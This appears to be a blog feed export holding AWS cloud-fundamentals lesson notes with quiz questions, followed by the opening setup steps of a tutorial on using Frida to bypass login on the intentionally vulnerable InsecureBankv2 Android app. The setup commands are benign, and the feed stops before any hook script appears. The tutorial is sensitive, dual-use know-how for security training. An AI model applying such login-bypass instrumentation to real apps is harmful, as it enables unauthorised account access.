<p>Let's look at an example to better understand how Elastic Load Balancing works in cloud computing. In the healthcare industry, particularly in hospitals and medical facilities that provide online appointment booking systems or patient portals, website traffic can vary greatly throughout the day.</p>
<ol>
<li><p><strong>INITIAL SETUP</strong></p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754814843976/9a3072fe-86b1-4f38-99a6-42c86a8b64bf.png" alt class="image--center mx-auto" /></p>
<p> <strong>Low-demand period</strong>: At the beginning of the day, only a few patients are accessing the system to book appointments or view medical records. The existing web servers are sufficient to handle the low traffic. This matches the demand, with no need for additional resources at this point.</p>
</li>
<li><p>SCALING UP</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754814852640/891f8815-0cba-473a-98a4-bb2809f51269.png" alt class="image--center mx-auto" /></p>
<p> <strong>High-demand period</strong>: As the day progresses, especially during peak hours, such as early mornings or just before the weekend, more patients access the portal to book appointments, view test results, or contact medical professionals. To handle this surge in demand, the healthcare system automatically scales up the number of servers to help ensure that the system remains responsive and available for all users.</p>
</li>
<li><p>LOAD BALANCING</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754814859528/b0537afa-1bb2-4686-8d95-97be9836b353.png" alt class="image--center mx-auto" /></p>
<p> A load balancer directs the incoming traffic to different web servers based on their current load. For instance, if one server starts receiving too many requests, the load balancer will route new requests to a less busy server. This makes sure that no single server becomes overwhelmed. The traffic is evenly distributed across available EC2 instances.</p>
</li>
</ol>
<p>By using Elastic Load Balancing and Auto Scaling, the healthcare industry can efficiently manage the varying levels of patient traffic to online services. This provides reliable access to medical portals even during high-demand periods.</p>
<h3 id="heading-test-your-skills-4">**Test your skills</h3>
<p>**</p>
<ol>
<li><p>How does Elastic Load Balancing (ELB) improve scalability in AWS?</p>
<ul>
<li><p>It manually adjusts the number of Amazon EC2 instances based on traffic.</p>
</li>
<li><p>It automatically routes traffic to instances based on various routing methods.</p>
</li>
<li><p>It directly increases the size of Amazon EC2 instances.</p>
</li>
<li><p>It creates new Amazon EC2 instances for each request.</p>
</li>
</ul>
</li>
<li><p>Which task does Elastic Load Balancing (ELB) perform?</p>
<ul>
<li><p>Automatically adjusts the number of Amazon EC2 instances to match demand.</p>
</li>
<li><p>Distributes a workload across several Amazon EC2 instances.</p>
</li>
<li><p>Removes unneeded Amazon EC2 instances when demand is low.</p>
</li>
<li><p>Adds a second Amazon EC2 instance during an online store's popular sale.</p>
</li>
</ul>
</li>
</ol>
<h1 id="heading-messaging-and-queuing"><strong>Messaging and Queuing</strong></h1>
<p><strong>In this lesson, you will learn how to do the following:</strong></p>
<ul>
<li><p>Describe how Amazon Simple Queue Service (Amazon SQS) facilitates message queuing.</p>
</li>
<li><p>Explain how Amazon Simple Notification Service (Amazon SNS) uses a publish-subscribe model to distribute messages.</p>
</li>
<li><p>Identify the difference between tightly coupled and loosely coupled architectures.</p>
</li>
<li><p>Explain how message queues help improve communication between components.</p>
</li>
</ul>
<p>Ever wonder how busy coffee shops keep everything running smoothly, even when the barista is on break or the cashier is overwhelmed? Well, the same principles apply to software architecture. In this lesson, you will look into how messaging and queuing help prevent slowdowns and failures.</p>
<h2 id="heading-key-takeaways-decoupling-services"><strong>Key takeaways: Decoupling services</strong></h2>
<p>In modern application development, reliability and resilience are important. One effective way to achieve this is by adopting a service-oriented approach.</p>
<ol>
<li><h3 id="heading-monolithic-applications"><strong><em>Monolithic applications</em></strong></h3>
<p> Applications consist of multiple components that work together to transmit data, fulfill requests, and keep the application running smoothly. In a traditional approach to application architecture, the components—such as database logic, web application servers, user interfaces, and business logic—are tightly coupled. This means that if one component fails, it can cause the failure of other components, potentially bringing down the entire application.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754818012126/7d9561ea-84b9-4152-b3cf-661d982a59a7.png" alt class="image--center mx-auto" /></p>
</li>
<li><h3 id="heading-microservices-architecture"><strong><em>Microservices architecture</em></strong></h3>
<p> To improve application availability and resilience, you can adopt a microservices architecture. In this approach, application components are loosely coupled, meaning that if one component fails, the others continue to function normally. The communication between components remains intact, and the failure of a single component does not impact the entire system. This design promotes greater flexibility and reliability in the application.</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754818026791/c382804c-3af1-4599-97a6-84322aabbad4.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-supporting-scalable-and-reliable-cloud-communication"><strong>Supporting scalable and reliable cloud communication</strong></h2>
<p>Amazon EventBridge, Amazon SNS, and Amazon SQS are AWS services that help different parts of an application communicate effectively in the cloud. These services support building event-driven and message-based systems. Together, they help create scalable, reliable applications that can handle high traffic and can enhance communication between components.</p>
<p><strong>EventBridge</strong></p>
<p>EventBridge is a serverless service that helps connect different parts of an application using events, helping to build scalable, event-driven systems. With EventBridge, you route events from sources like custom apps, AWS services, and third-party software to other applications. EventBridge simplifies the process of receiving, filtering, transforming, and delivering events, so you can quickly build reliable applications.</p>
<h3 id="heading-example-eventbridge"><strong>Example: EventBridge</strong></h3>
<p>Customers use an online food delivery service to order meals from local restaurants through a mobile app. When a customer places an order, several steps need to happen simultaneously. To learn more about these steps, choose each of the four numbered markers.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754818091184/4c0b22a0-6dd6-44a7-8725-0ababf9ab704.png" alt class="image--center mx-auto" /></p>
<ol>
<li><h2 id="heading-payment-processing"><strong>Payment processing</strong></h2>
<p> The payment service must verify and process the customer's payment.</p>
</li>
<li><h2 id="heading-restaurant-notification"><strong>Restaurant notification</strong></h2>
<p> The restaurant receives a notification to start preparing the meal.</p>
</li>
<li><h2 id="heading-inventory-management"><strong>Inventory management</strong></h2>
<p> The inventory system checks if the ingredients for the order are available.</p>
</li>
<li><h2 id="heading-delivery-dispatch"><strong>Delivery dispatch</strong></h2>
<p> A delivery driver is notified to pick up and deliver the meal.</p>
</li>
</ol>
<p><strong>How EventBridge helps:</strong> EventBridge can route events, like <em>order placed</em> or <em>payment completed</em>, to the relevant services (payment, restaurant, inventory, and delivery). It can handle high volumes of events during peak times, making sure each service works independently. Even if one service fails, EventBridge will store the event and process it as soon as the service is available again. EventBridge helps provide a smooth and reliable operation across the entire system.</p>
<p><strong>Amazon SQS</strong></p>
<p>Amazon SQS is a message queuing service that facilitates reliable communication between software components. It can send, store, and receive messages at any scale, making sure messages are not lost and that other services don't need to be available for processing. In Amazon SQS, an application places messages into a queue, and a user or service retrieves the message, processes it, and then removes it from the queue.</p>
<h3 id="heading-example-amazon-sqs"><strong>Example: Amazon SQS</strong></h3>
<p>As customer support teams grow and the volume of issues increases, traditional workflows can struggle to keep up. Let's consider how a customer support team might tackle this challenge.</p>
<ol>
<li><p>SCENARIO</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754818306605/f2478936-65f9-4f85-b936-6bc5de1d79ae.png" alt class="image--center mx-auto" /></p>
<p> A customer support team consists of a support agent and a technical specialist. The support agent is responsible for receiving customer issues, and the technical specialist works on resolving them. This process works well as long as both the agent and specialist are available and coordinated.</p>
</li>
<li><p>CHALLANGE</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754818320759/ee06f29a-0801-47a5-97c8-a9d79cdd66f7.png" alt class="image--center mx-auto" /></p>
<p> However, what happens if the support agent creates a ticket but the technical specialist is busy working on another issue or unavailable? The agent would have to wait until the specialist is free to accept the new ticket, causing delays in resolving customer issues and extending wait times for customers. As the volume of customer issues increases, this process becomes inefficient.</p>
</li>
<li><p>SOLUTION</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754818328770/1e1715c0-a17d-450a-aa37-c1ef652acf61.png" alt class="image--center mx-auto" /></p>
<p> To improve efficiency, they implement a queue system using Amazon SQS. The support agent adds customer issues to the queue, creating a backlog. Even if the specialist is busy, the agent can continue adding new issues. The specialist checks the queue, resolves issues, and updates the agent. This system provides a smooth workflow and helps handle higher volumes without delays or bottlenecks.</p>
</li>
</ol>
<p><strong>Amazon SNS</strong></p>
<p>Amazon SNS is a publish-subscribe service that publishers use to send messages to subscribers through SNS topics. In Amazon SNS, subscribers can include web servers, email addresses, Lambda functions, and various other endpoints. You will learn about Lambda in more detail later.</p>
<h3 id="heading-example-amazon-sns"><strong>Example: Amazon SNS</strong></h3>
<p>A company that sells a variety of products is currently sending a single email to all customers with updates on various topics, such as new products, special offers, and upcoming events. Although this method worked initially, customers want to receive only the updates they’re interested in. The current email update is causing customer dissatisfaction and lower engagement.</p>
<p>To learn more about the solution, choose each of the three numbered markers.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754818417879/07a727ec-d2b8-4bd0-858d-db186d447b33.png" alt class="image--center mx-auto" /></p>
<ol>
<li><h2 id="heading-segment-the-communication"><strong>Segment the communication</strong></h2>
<p> The company decides to divide the communication into three separate topics, including one for new products, one for special offers, and one for events. Each topic will focus on a specific area of interest.</p>
</li>
<li><h2 id="heading-let-customers-choose-topics"><strong>Let customers choose topics</strong></h2>
<p> Customers can subscribe to the topics they care about, such as the following:</p>
<ul>
<li><p>A customer might subscribe only to new product updates.</p>
</li>
<li><p>Another customer might opt only for event notifications.</p>
</li>
<li><p>A third customer might choose to subscribe to new product updates and special offers.</p>
</li>
</ul>
</li>
</ol>
<ol start="3">
<li><h2 id="heading-send-tailored-notifications"><strong>Send tailored notifications</strong></h2>
<p> With Amazon SNS, the company can send personalized notifications to subscribers based on their specific interests. Amazon SNS makes sure that these notifications are promptly delivered to the right audience, improving the efficiency and relevance of the communication.</p>
<h1 id="heading-test-your-skills-5">**Test your skills</h1>
<p> **</p>
<ol>
<li><p>What BEST describes the key difference between tightly coupled and loosely coupled architectures?</p>
<ul>
<li><p>In a tightly coupled architecture, components are tightly connected and dependent on each other, whereas in a loosely coupled architecture, components can operate independently.</p>
</li>
<li><p>Tightly coupled systems are more flexible in adding new components, whereas loosely coupled systems require careful configuration to add new components.</p>
</li>
<li><p>Tightly coupled architectures are designed for scalability, whereas loosely coupled systems focus on maintaining high availability.</p>
</li>
<li><p>Loosely coupled systems require components to share data directly with each other, whereas tightly coupled systems store data in a central repository.</p>
</li>
</ul>
</li>
<li><p>In a banking system, when customers transfer money, the transaction details are sent from the transaction service to a fraud detection service for verification. Sometimes, the fraud detection service is temporarily down.</p>
<p> What is the MAIN advantage of using Amazon Simple Queue Service (Amazon SQS) in this banking scenario?</p>
<ul>
<li><p>It guarantees immediate approval of transactions.</p>
</li>
<li><p>It stores transaction details until the fraud detection service can process them, even if the service is down.</p>
</li>
<li><p>It speeds up transaction processing by avoiding the use of a buffer.</p>
</li>
<li><p>It forces the transaction service and fraud detection service to depend on each other directly.</p>
</li>
</ul>
</li>
</ol>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Module 1: Introduction to the Cloud]]></title><description><![CDATA[Defining cloud computing
To review the definition of cloud computing, choose each of the following four numbered markers.

Cloud deployment types
You can deploy cloud resources in multiple ways: cloud, on-premises, and hybrid. Each type offers unique...]]></description><link>https://article.kumarchaudhary.com.np/module-1-introduction-to-the-cloud</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/module-1-introduction-to-the-cloud</guid><category><![CDATA[Cloud Computing]]></category><category><![CDATA[Cloud]]></category><category><![CDATA[AWS]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Fri, 08 Aug 2025 13:19:01 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-defining-cloud-computing"><strong>Defining cloud computing</strong></h2>
<p>To review the definition of cloud computing, choose each of the following four numbered markers.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806549413/6528034f-3f96-4a7c-8fd7-0867fb26ebd3.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-cloud-deployment-types"><strong>Cloud deployment types</strong></h2>
<p>You can deploy cloud resources in multiple ways: cloud, on-premises, and hybrid. Each type offers unique benefits and considerations, and exploring these options can help you make informed decisions about your cloud strategy. To learn more about cloud deployment types, choose each of the following flashcards.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806568451/84caae97-2688-4d47-a770-094042b368c7.png" alt class="image--center mx-auto" /></p>
<p><strong>Cloud</strong><br />In a cloud-based deployment model, you have the flexibility to migrate your existing resources to the cloud, design and build new applications within the cloud environment, or use a combination of both.</p>
<p>For instance, a company might migrate data resources to the cloud, then develop an application comprised of virtual servers, databases, and networking components entirely hosted in the cloud.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806588170/b3f5c9ec-7249-444c-9be0-4ebedfc57f34.png" alt class="image--center mx-auto" /></p>
<p><strong>On-premises</strong><br />Deploying resources on premises using virtualization and resource management tools does not provide many of the benefits of cloud computing. However, it is sometimes sought for its ability to provide dedicated resources and low latency.</p>
<p>In most cases this deployment model is the same as legacy IT infrastructure while using application management and virtualization technologies to try increasing resource utilization.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806603404/24bc1922-d1f1-40d9-a7ce-9d3cafaf5cdb.png" alt class="image--center mx-auto" /></p>
<p>Hybrid<br />In a hybrid deployment, cloud-based resources and on-premises infrastructure work together. This approach is ideal for situations where legacy applications must remain on premises due to maintenance preferences or regulatory requirements.</p>
<p>For instance, a company might choose to retain certain regulated legacy applications on-premises while using cloud services for advanced data processing and analytics.</p>
<p>Multi-cloud deployments can also be considered <em>hybrid deployments</em>.</p>
<p><strong>Test your skills</strong></p>
<p>You work for a local charity organization. Your organization has sensitive data that must remain within your country for compliance reasons. However, you also need a solution that can scale quickly to handle seasonal spikes in demand. You decide to keep on-premises resources for compliance and use cloud-based resources for dynamic scaling.</p>
<p>Which type of cloud deployment does this situation describe?</p>
<p>On-premises deployment</p>
<p>Public cloud deployment</p>
<p>Hybrid deployment</p>
<p>Data-compliance deployment</p>
<h1 id="heading-benefits-of-the-aws-cloud"><strong>Benefits of the AWS Cloud</strong></h1>
<p><strong>In this lesson, you will learn how to do the following:</strong></p>
<ul>
<li>Describe the six key benefits of cloud computing.</li>
</ul>
<p>Now that you understand how the cloud operates at a fundamental level, you will explore some advantages of using the cloud for your business. In this lesson, you will learn about six key benefits of cloud computing.</p>
<h2 id="heading-key-benefits-of-the-aws-cloud"><strong>Key benefits of the AWS Cloud</strong></h2>
<p>The six key benefits of the AWS Cloud are as follows.</p>
<h3 id="heading-trade-fixed-expense-for-variable-expense"><strong><em>Trade fixed expense for variable expense</em></strong></h3>
<p>By using the AWS Cloud, businesses can transition from fixed investments to variable costs. With variable costs, customer expenses are better aligned with actual usage, thus creating more financial flexibility.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806653125/a9cf5e49-cf36-40e9-b233-29cd65f083aa.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-benefit-from-massive-economies-of-scale"><strong><em>Benefit from massive economies of scale</em></strong></h3>
<p>Like buying a product in bulk can result in lower prices per unit, the vast global infrastructure of AWS can result in lower costs for customers. This means that AWS can be used by many organizations, from small startups to major corporations. Businesses big and small can access advanced technologies that were previously only accessible to large enterprises.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806666653/33157f84-2ddc-420e-8a29-fe51115774c6.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-stop-guessing-capacity"><strong><em>Stop guessing capacity</em></strong></h3>
<p>Customers can dynamically scale AWS Cloud resources up or down based on real-time demand. This means businesses can achieve optimal performance without provisioning more or less infrastructure than they need.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806680506/3ea8e876-360a-41f8-b8e2-cf99a69c5c7f.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-increase-speed-and-agility"><strong><em>Increase speed and agility</em></strong></h3>
<p>With the cloud, businesses can rapidly deploy applications and services, accelerating time to market and facilitating quicker responses to changing business needs and market conditions.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806685090/d4aa117f-171c-4173-9526-1911f3f68091.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-stop-spending-money-to-run-and-maintain-data-centers"><strong><em>Stop spending money to run and maintain data centers</em></strong></h3>
<p>The AWS Cloud eliminates the need for businesses to invest in physical data centers. This means customers aren't required to spend time and money on utilities and ongoing maintenance. With AWS taking care of the physical infrastructure of the cloud, customer resources can be reallocated to more strategic initiatives.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806691670/e572c193-b401-4854-a8cc-55d17f258898.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-go-global-in-minutes"><strong><em>Go global in minutes</em></strong></h3>
<p>Businesses don't need to set up their own infrastructure to expand internationally. AWS provides a robust global infrastructure that customers can use to deploy applications and services across multiple areas in minutes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806695900/24ca5047-4c87-4c11-b943-0c72e42ce09f.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-introduction-to-aws-global-infrastructure"><strong>Introduction to AWS Global Infrastructure</strong></h1>
<p><strong>In this lesson, you will learn how to do the following:</strong></p>
<ul>
<li><p>Define AWS Regions and Availability Zones.</p>
</li>
<li><p>Explain the benefits of high availability and fault tolerance.</p>
</li>
</ul>
<p>In this lesson, you learn about the basics of the AWS Global Infrastructure. You learn about the unique physical setup of AWS resources, and you explore some benefits of AWS infrastructure, such as high availability and fault tolerance. You will learn about more advanced components of AWS infrastructure in a later lesson of this training. For now, it's helpful to have a fundamental understanding of basic AWS infrastructure elements, such as data centers, Availability Zones, and AWS Regions.</p>
<h2 id="heading-aws-regions-and-availability-zones"><strong>AWS Regions and Availability Zones</strong></h2>
<p>AWS Global Infrastructure consists of physical locations around the world that contain groups of data centers. To learn more about the design of AWS Regions and Availability Zones, choose each of the following two numbered markers.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806703403/cd0a9243-5838-4a10-88c8-643cee7c2763.jpeg" alt class="image--center mx-auto" /></p>
<h2 id="heading-achieving-high-availability-with-aws-global-infrastructure"><strong>Achieving high availability with AWS Global Infrastructure</strong></h2>
<p>AWS infrastructure is designed with high availability and fault tolerance in mind. Availability Zones (AZs) are configured as isolated resources, and they are each equipped with independent power, networking, and connectivity.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806707873/dcfbef52-7b56-4175-9494-7df46df7a28c.png" alt class="image--center mx-auto" /></p>
<p>It's recommended to distribute your resources across multiple AZs. That way, if one AZ encounters an outage, your business applications will continue to operate without interruption. With this approach of redundancy and resource isolation, AWS customers can achieve the benefits of high availability and fault tolerance.</p>
<h3 id="heading-test-your-skills"><strong>Test your skills</strong></h3>
<p>You just joined a tech start-up, and the business is growing rapidly. Your new company decides that they need to design a resilient and scalable infrastructure on AWS to handle increased traffic and help ensure high availability.</p>
<p>Which statement BEST describes the AWS Global Infrastructure benefit of high availability?</p>
<ul>
<li><p>AWS stores all of your website’s data in a single AWS storage bucket to centralize data management.</p>
</li>
<li><p>AWS has many customer support options to ensure the answers to your questions are highly available on its website.</p>
</li>
<li><p>AWS provides multiple data centers across different geographic regions so your website can remain operational even if one location faces issues.</p>
</li>
<li><p>AWS offers a single, highly secure data center that can handle all your traffic, ensuring that your website is available.</p>
</li>
</ul>
<h1 id="heading-the-aws-shared-responsibility-model"><strong>The AWS Shared Responsibility Model</strong></h1>
<p><strong>In this lesson, you will learn how to do the following:</strong></p>
<ul>
<li><p>Describe and differentiate between customer responsibilities, AWS responsibilities, and shared responsibilities in the AWS Cloud.</p>
</li>
<li><p>Describe the components of the AWS Shared Responsibility Model.</p>
</li>
</ul>
<p>The AWS Shared Responsibility Model is a concept designed to help AWS and customers work together to create a secure, functional cloud environment. In this lesson, you learn about the components of the AWS Shared Responsibility Model. With a clear understanding of cloud computing responsibilities, organizations can better navigate the complexities of cloud security.</p>
<h2 id="heading-components-of-the-aws-shared-responsibility-model"><strong>Components of the AWS Shared Responsibility Model</strong></h2>
<p>To review the components of the AWS Shared Responsibility model, choose each of the following three numbered markers.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806715080/65efad59-d066-4ace-a9bb-0c7dc17811dc.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-test-your-skills-1">Test your skills</h3>
<p>You work for a startup company that is developing an application in the cloud. A new security update is available for your operating system (OS), and you are tasked with verifying that the OS is patched accordingly.</p>
<p>Which statement BEST describes which party is responsible for applying security patches to the OS that is running in the cloud?</p>
<ul>
<li><p>AWS is responsible for applying security patches to the OS.</p>
</li>
<li><p>Your company is responsible for applying security patches to the OS.</p>
</li>
<li><p>Both AWS and the customer apply separate patches.</p>
</li>
<li><p>The OS vendor applies the patches.</p>
</li>
</ul>
<h1 id="heading-applying-cloud-concepts-to-real-life-use-cases"><strong>Applying Cloud Concepts to Real Life Use Cases</strong></h1>
<p><strong>In this lesson, you will learn how to do the following:</strong></p>
<ul>
<li>Explain how fundamental cloud concepts, such as the AWS Global Infrastructure and AWS Shared Responsibility Model, work together to form real-world business solutions.</li>
</ul>
<p>You've learned about some fundamental cloud concepts, like how cloud computing works, the basics of AWS Global Infrastructure, and the AWS Shared Responsibility Model. It's important to build your knowledge of cloud computing piece by piece. However, in reality, the concepts you learn about in this training work together, not separately. In this lesson, you explore your first example of the <em>Cloud in Real Life</em>, piecing together how abstract cloud concepts work together to drive innovation and efficiency for your business.</p>
<h2 id="heading-cloud-in-real-life-infrastructure-and-shared-responsibility"><strong>Cloud in real life: Infrastructure and shared responsibility</strong></h2>
<p>In the preceding video, you examined how AWS Global Infrastructure and the AWS Shared Responsibility Model work together for your business solution. For this use case, the global ecommerce company deployed resources to multiple AWS Regions and Availability Zones. To learn more about the benefits this infrastructure design achieves and how AWS and the company share responsibility, choose each of the following three numbered markers.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754806729736/c57abda4-5686-4eb9-9edb-bcf832596955.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Dynamic Code Injection with Frida – Hooking the InsecureBankv2 App]]></title><description><![CDATA[1.Objective
Demonstrate how to intercept and manipulate sensitive app functionality using Frida to bypass login checks on the InsecureBankv2 app.
1.1. Prerequisites

✅ Frida installed on your PC (pip install frida-tools)

✅ Rooted Android emulator/de...]]></description><link>https://article.kumarchaudhary.com.np/dynamic-code-injection-with-frida-hooking-the-insecurebankv2-app</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/dynamic-code-injection-with-frida-hooking-the-insecurebankv2-app</guid><category><![CDATA[ethicalhacking]]></category><category><![CDATA[coding]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Tue, 27 May 2025 15:38:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/ieic5Tq8YMk/upload/b7c0e47bb2cc99546b6f148ab9c2f264.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-1objective">1.Objective</h1>
<p>Demonstrate how to intercept and manipulate sensitive app functionality using <a target="_blank" href="https://frida.re/">Frid</a><a target="_blank" href="https://frida.re/">a to b</a>ypass <a target="_blank" href="https://frida.re/">login</a> checks on the InsecureBankv2 app.</p>
<h2 id="heading-11-prerequisites">1.1. Prerequisites</h2>
<ul>
<li><p>✅ <strong>Frida installed</strong> on your PC (<code>pip install frida-tools</code>)</p>
</li>
<li><p>✅ <strong>Rooted Android emulator/device</strong> (Genymotion or similar)</p>
</li>
<li><p>✅ InsecureBankv2 APK installed and running on the device</p>
</li>
<li><p>✅ USB debugging enabled (or virtual ADB over Genymotion)</p>
</li>
</ul>
<h2 id="heading-12-understanding-prerequisites">1.2. Understanding Prerequisites</h2>
<h3 id="heading-frida-dynamic-instrumentation-toolkithttpswwwgenymotioncom">🐞 Frida – Dynamic Instrumenta<a target="_blank" href="https://www.genymotion.com/">tion Toolkit</a></h3>
<p><a target="_blank" href="https://www.genymotion.com/"><strong>Frida</strong> is a po</a>werful tool used by develo<a target="_blank" href="https://www.genymotion.com/">pers and ethical hackers to</a> <strong>inspect, modify, and control apps while they are</strong> <a target="_blank" href="https://www.genymotion.com/"><strong>running</strong>. Think of it like</a> a "microscope" that <a target="_blank" href="https://www.genymotion.com/">lets you look inside an ap</a>p an<a target="_blank" href="https://www.genymotion.com/">d change what it does — wit</a>hout changing the actual app code.<br />✅ Common Uses:</p>
<ul>
<li><p>Debugging mobile <a target="_blank" href="https://www.genymotion.com/">apps</a></p>
</li>
<li><p><a target="_blank" href="https://www.genymotion.com/">Bypassing root dete</a>ction</p>
</li>
<li><p>Hookin<a target="_blank" href="https://www.genymotion.com/">g functions to see how they</a> work</p>
</li>
</ul>
<hr />
<h3 id="heading-genymotion-adb-android-bridgehttpswwwgenymotioncom-for-emulators">📱 Geny<a target="_blank" href="https://www.genymotion.com/">motion ADB – Android Bridge</a> for Emulators</h3>
<p><strong>Genymotion ADB</strong> (Android Debug Bridge) connects your computer to a <strong>Genymotion virtual Android device</strong>. It works the same way as it does with a real phone.<br />✅ Why Use It?</p>
<ul>
<li><p>Easy to test apps on different Android versions</p>
</li>
<li><p>Run scripts, install apps, and debug smoothly</p>
</li>
<li><p>Great for automation and security testing</p>
</li>
</ul>
<hr />
<h3 id="heading-adb-shell-command-line-access-to-android">💻 ADB Shell – Command Line Access to Android</h3>
<p><strong>ADB Shell</strong> lets you open a terminal directly <strong>inside the Android device</strong> (real or virtual). You can run commands to control the device or inspect files.<br />✅ What You Can Do:</p>
<ul>
<li><p>Access system directories</p>
</li>
<li><p>Modify app files or settings</p>
</li>
<li><p>Run commands like <code>pm list packages</code>, <code>am start</code>, etc.</p>
</li>
</ul>
<hr />
<h1 id="heading-2environment-installation">2.Environment Installation</h1>
<p>Now you understand the basic term required for the dynamic code injection. we will then proceed to installing those requirements</p>
<h3 id="heading-here-are-the-prerequisites-setup-for-frida-on-kali-linuxubuntu-no-virtual-box-is-needed-if-you-are-linux">✅ Here are the Prerequisites Setup for Frida on Kali Linux/Ubuntu (No virtual box is needed if you are linux)</h3>
<p>If you are a window user then you must need to install virtual box with creating a virtual environment for installation of kali linux on virtual box and perform the operation on linux machine.</p>
<h2 id="heading-1-install-frida">1. <strong>Install Frida</strong></h2>
<p>Make sure Python and pip are available:</p>
<pre><code class="lang-bash">sudo apt update
sudo apt install python3 python3-pip -y
</code></pre>
<p>Then install Frida:</p>
<pre><code class="lang-bash">pip3 install frida-tools
</code></pre>
<p>Check version to confirm:</p>
<pre><code class="lang-bash">frida --version
</code></pre>
<hr />
<h2 id="heading-2-install-adb-android-debug-bridge">2. <strong>Install ADB (Android Debug Bridge)</strong></h2>
<p>ADB is needed to connect your PC to the Android emulator:</p>
<pre><code class="lang-bash">sudo apt install android-tools-adb -y
</code></pre>
<hr />
<h2 id="heading-3-set-up-genymotion-emulator-rooted">3. <strong>Set Up Genymotion Emulator (Rooted)</strong></h2>
<ul>
<li><p>Download Genymotion from: <a target="_blank" href="https://www.genymotion.com/">https://www.genymotion.com/</a></p>
</li>
<li><p><a target="_blank" href="https://www.genymotion.com/">Install and</a> launch a <strong>rooted virtual device</strong> directly from Geny<a target="_blank" href="https://www.genymotion.com/">motion.</a></p>
</li>
<li><p><a target="_blank" href="https://www.genymotion.com/">Enable <strong>ADB over network</strong> in the emu</a>lator settings.</p>
</li>
</ul>
<p>Connect to the emulator:</p>
<pre><code class="lang-bash">adb connect &lt;your_emulator_ip&gt;:5555
</code></pre>
<p><a target="_blank" href="https://www.genymotion.com/">Check connection</a>:</p>
<pre><code class="lang-bash">adb devices
</code></pre>
<hr />
<h2 id="heading-4-install-insecurebankv2-apkhttpswwwgenymotioncom">4. <a target="_blank" href="https://www.genymotion.com/"><strong>Install InsecureBankv2 APK</strong></a></h2>
<p>Download the APK, then install <a target="_blank" href="https://www.genymotion.com/">it on the emulator:</a><br />You will get problem to download the apk. so don’t worry here i’ll provide you a direct link.</p>
<p>App Link: <a target="_blank" href="https://github.com/dineshshetty/Android-InsecureBankv2/raw/master/InsecureBankv2.apk">https://github.com/dineshshetty/Android-InsecureBankv2/raw/master/InsecureBankv2.apk</a></p>
<pre><code class="lang-bash">adb install InsecureBankv2.apk
</code></pre>
<p>Make sure the app runs on the emulator.</p>
<hr />
<h2 id="heading-5-enable-usb-debugging-adb-over-network">5. <strong>Enable USB Debugging / ADB Over Network</strong></h2>
<p><a target="_blank" href="https://www.genymotion.com/">On Genymotion, USB debugg</a>ing is pre-enab<a target="_blank" href="https://www.genymotion.com/">led. Just connect using the</a> IP shown in the emulator.</p>
<h1 id="heading-3-setting-up-frida-server-on-androidrooted">3. Setting up frida server on android(rooted)</h1>
<p>Look your phone is not rooted at this point so i prefer you to use genymotion we talk about earlier. Once you've installed Frida on your Kali Linux or Ubuntu system and set up a <strong>rooted Android device/emulator (like Genymotion)</strong>, it’s time to set up the <strong>Frida Server</strong> to start hooking into Android apps.</p>
<hr />
<h2 id="heading-step-1-download-the-correct-frida-server">✅ Step 1: Download the Correct Frida Server</h2>
<p>Frida server must match the <strong>Frida version</strong> installed on your PC and the <strong>CPU architecture</strong> of your Android device (e.g., <code>arm</code>, <code>arm64</code>, <code>x86</code>, <code>x86_64</code>).</p>
<ol>
<li><p>Check your Frida version:</p>
<pre><code class="lang-bash"> frida --version
</code></pre>
</li>
<li><p>Go to: <a target="_blank" href="https://github.com/frida/frida/releases">https://github.com/frida/frida/releases</a><br /> Download the server binary like:<br /> <code>frida-server-&lt;version&gt;-android-x86_64.xz</code> (for Genymotion)<br /> OR<br /> <code>frida-server-&lt;version&gt;-android-arm64.xz</code> (for real phones)</p>
</li>
<li><p>Extract the binary:</p>
<pre><code class="lang-bash"> tar -xf frida-server-*.xz
</code></pre>
</li>
</ol>
<hr />
